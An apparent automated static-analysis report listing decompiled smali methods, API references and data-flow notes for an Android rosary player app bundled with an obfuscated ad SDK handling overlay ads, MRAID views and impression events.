  • android.widget.FrameLayout.setVisibility
Position Instruction Meta Information
0.param p1, "visibility" # I
1.prologue
3invoke-super {p0}, Landroid/widget/FrameLayout;->getVisibility()I
4move-result v3
5if-eq v3, p1, :cond_1c
6monitor-enter p0
7try_start_7:
8invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getChildCount()I
9move-result v1
10const/4 v2, 0x0
11goto_c: if-ge v2, v1, :cond_18
13invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/AdView;->getChildAt(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 0
14move-result-object v0
16invoke-virtual {v0, p1}, Landroid/view/View;->setVisibility(I)V
17add-int/lit8 v2, v2, 0x1
18goto/16 :goto_c
19cond_18:
20invoke-super {p0, p1}, Landroid/widget/FrameLayout;->setVisibility(I)V
21monitor-exit p0
22cond_1c: return-void
23catchall_1d: move-exception v4
24monitor-exit p0
25try_end_1f: throw v4
APIs
  • android.os.Handler.sendEmptyMessage
  • com.vxjxu.jkhfn1870.ImageBanner.sendImpression
Strings
  • Ad loading complete
  • 14
Position Instruction Meta Information
0.param p1, "view" # Landroid/webkit/WebView;
1.param p2, "url" # Ljava/lang/String;
2.prologue
4iget-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->val$loadingListener:Landroid/os/Handler;
5if-eqz v0, :cond_f
7iget-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->val$loadingListener:Landroid/os/Handler;
8const/4 v1, 0x0
10invoke-virtual {v0, v1}, Landroid/os/Handler;->sendEmptyMessage(I)Z
  • Data flow analysis:
    • what: 0
12const-string v0, "Ad loading complete"
14invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Ad loading complete
15cond_f:
16iget-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner;
18const-string v1, "14"
20invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/ImageBanner;->sendImpression(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 14
22sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
23if-eqz v0, :cond_1f
25sget-object v0, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
27invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdLoadedListener()V
28cond_1f: return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.OverlayAd.getContext
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Strings
  • overlay_event
Position Instruction Meta Information
0.param p1, "event" # Ljava/lang/String;
1.prologue
2monitor-enter p1
3try_start_1:
4invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->getContext()Landroid/content/Context;
5move-result-object v1
7invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z
8move-result v1
9if-nez v1, :cond_d
10monitor-exit p1
11goto_c: return-void
12cond_d: new-instance v0, Ljava/lang/Thread;
13new-instance v1, Lcom/vxjxu/jkhfn1870/OverlayAd$3;
15invoke-direct {v1, p0, p1}, Lcom/vxjxu/jkhfn1870/OverlayAd$3;-><init>(Lcom/vxjxu/jkhfn1870/OverlayAd;Ljava/lang/String;)V
17const-string v2, "overlay_event"
19invoke-direct {v0, v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: overlay_event
21invoke-virtual {v0}, Ljava/lang/Thread;->start()V
22monitor-exit p1
23goto/16 :goto_c
24catchall_1e: move-exception v1
25monitor-exit p1
26try_end_20: throw v1
APIs
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
Strings
  • storePicture
  • Url does not exist.
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$2;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1;
4iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
6iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
8const-string v1, "storePicture"
10const-string v2, "Url does not exist."
12invoke-virtual {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: storePicture
    • p1: Url does not exist.
14iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$2;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1;
16iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
18iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
19const/4 v1, 0x1
21invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
22return-void
APIs
  • android.media.MediaPlayer.stop
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
Strings
  • 99
Position Instruction Meta Information
0.param p1, "player" # Landroid/media/MediaPlayer;
1.prologue
2try_start_0:
3invoke-virtual {p1}, Landroid/media/MediaPlayer;->stop()V
5iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;
7iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
9const-string v1, "99"
11invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 99
13iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;
15iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
16const/4 v1, 0x1
18invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
19goto_14: return-void
20catch_15: move-exception v0
21goto/16 :goto_14
Cross References
APIs
  • android.content.SharedPreferences.edit
  • android.content.SharedPreferences$Editor.putBoolean
  • android.content.SharedPreferences$Editor.commit
Strings
  • thisSmartWall
Position Instruction Meta Information
0.param p1, "ad" # Z
1.prologue
3iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences;
5invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
6move-result-object v0
7iput-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
9iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
11const-string v1, "thisSmartWall"
13invoke-interface {v0, v1, p1}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p0: thisSmartWall
15iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
17invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
18return-void
APIs
  • com.vxjxu.jkhfn1870.AdView.getContext
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Strings
  • native_mraid
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/vxjxu/jkhfn1870/Util$NativeMraid;
3iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView$8;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
5invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context;
6move-result-object v1
8invoke-direct {v0, v1, p0}, Lcom/vxjxu/jkhfn1870/Util$NativeMraid;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;)V
9new-instance v1, Ljava/lang/Thread;
11const-string v2, "native_mraid"
13invoke-direct {v1, v0, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: native_mraid
15invoke-virtual {v1}, Ljava/lang/Thread;->start()V
16return-void
APIs
  • java.lang.String.startsWith
  • android.webkit.WebView.loadUrl
  • android.webkit.WebViewClient.shouldOverrideUrlLoading
Strings
  • market://
Position Instruction Meta Information
0.param p1, "view" # Landroid/webkit/WebView;
1.param p2, "url" # Ljava/lang/String;
2.prologue
4const-string v0, "market://"
6invoke-virtual {p2, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: market://
7move-result v0
8if-eqz v0, :cond_d
10invoke-virtual {p1, p2}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
11const/4 v0, 0x1
12goto_c: return v0
13cond_d:
14invoke-super {p0, p1, p2}, Landroid/webkit/WebViewClient;->shouldOverrideUrlLoading(Landroid/webkit/WebView;Ljava/lang/String;)Z
15move-result v0
16goto/16 :goto_c
APIs
  • org.apache.http.HttpRequest.containsHeader
  • org.apache.http.HttpRequest.addHeader
Strings
  • Accept-Encoding
  • gzip
Position Instruction Meta Information
0.param p1, "request" # Lorg/apache/http/HttpRequest;
1.param p2, "context" # Lorg/apache/http/protocol/HttpContext;
2.prologue
4const-string v0, "Accept-Encoding"
6invoke-interface {p1, v0}, Lorg/apache/http/HttpRequest;->containsHeader(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: Accept-Encoding
7move-result v0
8if-nez v0, :cond_f
10const-string v0, "Accept-Encoding"
12const-string v1, "gzip"
14invoke-interface {p1, v0, v1}, Lorg/apache/http/HttpRequest;->addHeader(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Accept-Encoding
    • p1: gzip
15cond_f: return-void
Cross References
APIs
  • org.json.JSONObject.isNull
  • org.json.JSONArray.length
  • org.json.JSONArray.getInt
  • org.json.JSONObject.getJSONArray
Position Instruction Meta Information
0.param p1, "key" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/NullPointerException;,
4Lorg/json/JSONException;
5}
6.end annotation
7.prologue
8const/4 v1, 0x0
10iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject;
12invoke-virtual {v3, p1}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
13move-result v3
14if-eqz v3, :cond_20
15move-object v0, v1
16goto_a: if-eqz v0, :cond_27
18invoke-virtual {v0}, Lorg/json/JSONArray;->length()I
19move-result v3
20new-array v1, v3, [S
21const/4 v2, 0x0
22goto_13: array-length v3, v1
23if-ge v2, v3, :cond_27
25invoke-virtual {v0, v2}, Lorg/json/JSONArray;->getInt(I)I
  • Data flow analysis:
    • p0: 0
26move-result v3
27int-to-short v3, v3
28aput-short v3, v1, v2
29add-int/lit8 v2, v2, 0x1
30goto/16 :goto_13
31cond_20:
32iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->jsonObject:Lorg/json/JSONObject;
34invoke-virtual {v3, p1}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
35move-result-object v0
36goto/16 :goto_a
37cond_27: return-object v1
APIs
  • com.vxjxu.jkhfn1870.AdView.setVisibility
  • com.vxjxu.jkhfn1870.AdView.access$000
Position Instruction Meta Information
0.param p1, "msg" # Landroid/os/Message;
1.prologue
2iget v0, p1, Landroid/os/Message;->what:I
3packed-switch v0, :pswitch_data_22
4goto_5: return-void
5pswitch_6:
6iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$2;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
7const/4 v1, 0x0
9invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 0
10goto/16 :goto_5
11pswitch_d:
12iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$2;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
13const/16 v1, 0x8
15invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
16goto/16 :goto_5
17pswitch_15:
18iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$2;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
19const/4 v1, 0x4
21invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 4
22goto/16 :goto_5
23pswitch_1c:
24iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$2;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
26invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$000(Lcom/vxjxu/jkhfn1870/AdView;)V
27goto/16 :goto_5
Cross References
APIs
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.getSettings
  • android.webkit.WebSettings.setPluginState
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.getSettings
  • android.webkit.WebSettings.setPluginsEnabled
Position Instruction Meta Information
0.annotation build Landroid/annotation/SuppressLint;
1value = {
2"InlinedApi"
3}
4.end annotation
5.prologue
6sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
7const/16 v1, 0x8
8if-lt v0, v1, :cond_10
10invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->getSettings()Landroid/webkit/WebSettings;
11move-result-object v0
13sget-object v1, Landroid/webkit/WebSettings$PluginState;->ON_DEMAND:Landroid/webkit/WebSettings$PluginState;
15invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setPluginState(Landroid/webkit/WebSettings$PluginState;)V
16goto_f: return-void
17cond_10:
18invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->getSettings()Landroid/webkit/WebSettings;
19move-result-object v0
20const/4 v1, 0x1
22invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setPluginsEnabled(Z)V
  • Data flow analysis:
    • flag: 1
23goto/16 :goto_f
Cross References
APIs
  • com.vxjxu.jkhfn1870.ImageBanner.getSettings
  • android.webkit.WebSettings.setPluginState
  • com.vxjxu.jkhfn1870.ImageBanner.getSettings
  • android.webkit.WebSettings.setPluginsEnabled
Position Instruction Meta Information
0.annotation build Landroid/annotation/SuppressLint;
1value = {
2"InlinedApi"
3}
4.end annotation
5.prologue
6sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
7const/16 v1, 0x8
8if-lt v0, v1, :cond_10
10invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/ImageBanner;->getSettings()Landroid/webkit/WebSettings;
11move-result-object v0
13sget-object v1, Landroid/webkit/WebSettings$PluginState;->ON_DEMAND:Landroid/webkit/WebSettings$PluginState;
15invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setPluginState(Landroid/webkit/WebSettings$PluginState;)V
16goto_f: return-void
17cond_10:
18invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/ImageBanner;->getSettings()Landroid/webkit/WebSettings;
19move-result-object v0
20const/4 v1, 0x1
22invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setPluginsEnabled(Z)V
  • Data flow analysis:
    • flag: 1
23goto/16 :goto_f
APIs
  • com.vxjxu.jkhfn1870.OverlayAd.access$100
  • com.vxjxu.jkhfn1870.OverlayAd.isShowing
  • com.vxjxu.jkhfn1870.OverlayAd.access$200
  • android.webkit.WebViewClient.onLoadResource
Position Instruction Meta Information
0.param p1, "view" # Landroid/webkit/WebView;
1.param p2, "url" # Ljava/lang/String;
2.prologue
4iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
6invoke-static {v0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$100(Lcom/vxjxu/jkhfn1870/OverlayAd;)Z
7move-result v0
8if-eqz v0, :cond_16
10iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
12invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->isShowing()Z
13move-result v0
14if-eqz v0, :cond_16
16iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
18invoke-static {v0, p2}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$200(Lcom/vxjxu/jkhfn1870/OverlayAd;Ljava/lang/String;)V
19goto_15: return-void
20cond_16:
21invoke-super {p0, p1, p2}, Landroid/webkit/WebViewClient;->onLoadResource(Landroid/webkit/WebView;Ljava/lang/String;)V
22goto/16 :goto_15
Cross References
APIs
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • com.vxjxu.jkhfn1870.AdView.removeView
Position Instruction Meta Information
0.prologue
2iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->oldViews:Ljava/util/List;
4invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
5move-result-object v0
6goto_6:
7invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
8move-result v2
9if-eqz v2, :cond_16
11invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
12move-result-object v1
13check-cast v1, Landroid/view/View;
15invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->removeView(Landroid/view/View;)V
16goto/16 :goto_6
17cond_16: return-void
Cross References
APIs
  • prsolutions.rosariofacileads.Player.getWindow
  • android.view.Window.addFlags
  • prsolutions.rosariofacileads.Player.getWindow
  • android.view.Window.clearFlags
Position Instruction Meta Information
0.param p1, "keepScreenOn" # Z
1.prologue
2const/16 v1, 0x80
3if-eqz p1, :cond_c
5invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->getWindow()Landroid/view/Window;
6move-result-object v0
8invoke-virtual {v0, v1}, Landroid/view/Window;->addFlags(I)V
  • Data flow analysis:
    • flags: 128
9goto_b: return-void
10cond_c:
11invoke-virtual {p0}, Lprsolutions/rosariofacileads/Player;->getWindow()Landroid/view/Window;
12move-result-object v0
14invoke-virtual {v0, v1}, Landroid/view/Window;->clearFlags(I)V
  • Data flow analysis:
    • flags: 128
15goto/16 :goto_b
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.setScreenSize
  • com.vxjxu.jkhfn1870.MraidView.setMaxSize
  • com.vxjxu.jkhfn1870.MraidView.setSupportProperties
  • com.vxjxu.jkhfn1870.MraidView.setCurrentPosition
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->setScreenSize()V
4invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->setMaxSize()V
6invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->setSupportProperties()V
8invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->setCurrentPosition()V
9return-void
Cross References
APIs
  • android.util.Log.e
Strings
  • Required SmartWallActivity not found in Manifest. Please add.
  • AirplaySDK
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Ljava/lang/NullPointerException;,
3Ljava/lang/Exception;
4}
5.end annotation
6.prologue
8sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
9const-class v2, Lcom/vxjxu/jkhfn1870/SmartWallActivity;
11invoke-static {v1, v2}, Lcom/vxjxu/jkhfn1870/Util;->isIntentAvailable(Landroid/content/Context;Ljava/lang/Class;)Z
12move-result v1
13if-nez v1, :cond_1f
15const-string v0, "Required SmartWallActivity not found in Manifest. Please add."
17const-string v1, "AirplaySDK"
19invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Required SmartWallActivity not found in Manifest. Please add.
21invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Required SmartWallActivity not found in Manifest. Please add.
22new-instance v1, Lcom/vxjxu/jkhfn1870/SendIntegrationError;
24sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
25const/16 v3, 0x67
27invoke-direct {v1, v2, v3}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;-><init>(Landroid/content/Context;I)V
28const/4 v1, 0x0
29goto_1e: return v1
30cond_1f: const/4 v1, 0x1
31goto/16 :goto_1e
Cross References
APIs
  • java.lang.Exception.toString
  • android.util.Log.i
Strings
  • Activitymanager
Position Instruction Meta Information
0.prologue
2sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
4invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->isSDKEnabled(Landroid/content/Context;)Z
5move-result v2
6if-eqz v2, :cond_18
7try_start_8: new-instance v0, Lcom/vxjxu/jkhfn1870/AirPlay$1;
9invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/AirPlay$1;-><init>(Lcom/vxjxu/jkhfn1870/AirPlay;)V
11sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
13invoke-static {v2}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z
14move-result v2
15if-eqz v2, :cond_18
17invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V
18goto_18: return-void
19catch_19: move-exception v1
21const-string v2, "Activitymanager"
23invoke-virtual {v1}, Ljava/lang/Exception;->toString()Ljava/lang/String;
24move-result-object v3
26invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Activitymanager
27goto/16 :goto_18
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.getVisibility
  • com.vxjxu.jkhfn1870.MraidView.setViewable
Strings
  • default
Position Instruction Meta Information
0.prologue
1iget-boolean v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->isViewable:Z
2if-eqz v1, :cond_1d
4invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getVisibility()I
5move-result v1
6if-nez v1, :cond_1d
7const/4 v0, 0x1
8goto_b: iget-boolean v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewable:Z
9if-eq v0, v1, :cond_1c
11iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->state:Ljava/lang/String;
13const-string v2, "default"
14if-ne v1, v2, :cond_1c
15iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewable:Z
16iget-boolean v1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->viewable:Z
18invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->setViewable(Z)V
19cond_1c: return-void
20cond_1d: const/4 v0, 0x0
21goto/16 :goto_b
APIs
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
Strings
  • 89
Position Instruction Meta Information
0.param p1, "mp" # Landroid/media/MediaPlayer;
1.param p2, "what" # I
2.param p3, "extra" # I
3.prologue
5iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$2;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;
7iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
9const-string v1, "89"
11invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 89
13iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$2;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;
15iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
16const/4 v1, 0x1
18invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
19const/4 v0, 0x0
20return v0
Cross References
APIs
  • java.lang.Object.<init>
  • android.content.Context.getSharedPreferences
Strings
  • ad_cache
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/NullPointerException;
4}
5.end annotation
6.prologue
8invoke-direct {p0}, Ljava/lang/Object;-><init>()V
10const-string v0, "ad_cache"
11iput-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->AD_CACHING:Ljava/lang/String;
13const-string v0, "ad_cache"
14const/4 v1, 0x0
16invoke-virtual {p1, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • name: ad_cache
    • mode: 0
17move-result-object v0
18iput-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences;
19return-void
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Strings
  • native
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/vxjxu/jkhfn1870/Util$NativeMraid;
3invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity;
4move-result-object v1
6invoke-direct {v0, v1, p0}, Lcom/vxjxu/jkhfn1870/Util$NativeMraid;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;)V
7new-instance v1, Ljava/lang/Thread;
9const-string v2, "native"
11invoke-direct {v1, v0, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: native
13invoke-virtual {v1}, Ljava/lang/Thread;->start()V
14return-void
APIs
  • com.vxjxu.jkhfn1870.OverlayAd.access$500
  • android.view.MotionEvent.getAction
  • com.vxjxu.jkhfn1870.OverlayAd.access$102
Position Instruction Meta Information
0.param p1, "v" # Landroid/view/View;
1.param p2, "event" # Landroid/view/MotionEvent;
2.prologue
4iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$2;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
6invoke-static {v0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$500(Lcom/vxjxu/jkhfn1870/OverlayAd;)Landroid/webkit/WebView;
7move-result-object v0
8if-ne p1, v0, :cond_14
10invoke-virtual {p2}, Landroid/view/MotionEvent;->getAction()I
11move-result v0
12if-nez v0, :cond_14
14iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$2;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
15const/4 v1, 0x1
17invoke-static {v0, v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$102(Lcom/vxjxu/jkhfn1870/OverlayAd;Z)Z
  • Data flow analysis:
    • p1: 1
18cond_14: const/4 v0, 0x0
19return v0
APIs
  • android.app.Activity.onStop
  • android.media.MediaPlayer.pause
  • android.widget.Button.setText
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onStop()V
4iget-object v0, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
5if-eqz v0, :cond_17
7iget-object v0, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer;
9invoke-virtual {v0}, Landroid/media/MediaPlayer;->pause()V
11iget-object v0, p0, Lprsolutions/rosariofacileads/Player;->mPause:Landroid/widget/Button;
12const v1, 0x7f050012
14invoke-virtual {v0, v1}, Landroid/widget/Button;->setText(I)V
  • Data flow analysis:
    • resid: 2131034130
15const/4 v0, 0x1
16iput v0, p0, Lprsolutions/rosariofacileads/Player;->pausa:I
17cond_17: return-void
APIs
  • android.content.DialogInterface.dismiss
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0.param p1, "dialog" # Landroid/content/DialogInterface;
1.param p2, "which" # I
2.prologue
4invoke-interface {p1}, Landroid/content/DialogInterface;->dismiss()V
5new-instance v0, Ljava/lang/Thread;
6new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$2$1;
8invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/MraidView$2$1;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$2;)V
10invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
12invoke-virtual {v0}, Ljava/lang/Thread;->start()V
13return-void
APIs
  • android.app.Activity.onPause
  • android.webkit.CookieSyncManager.getInstance
  • android.webkit.CookieSyncManager.stopSync
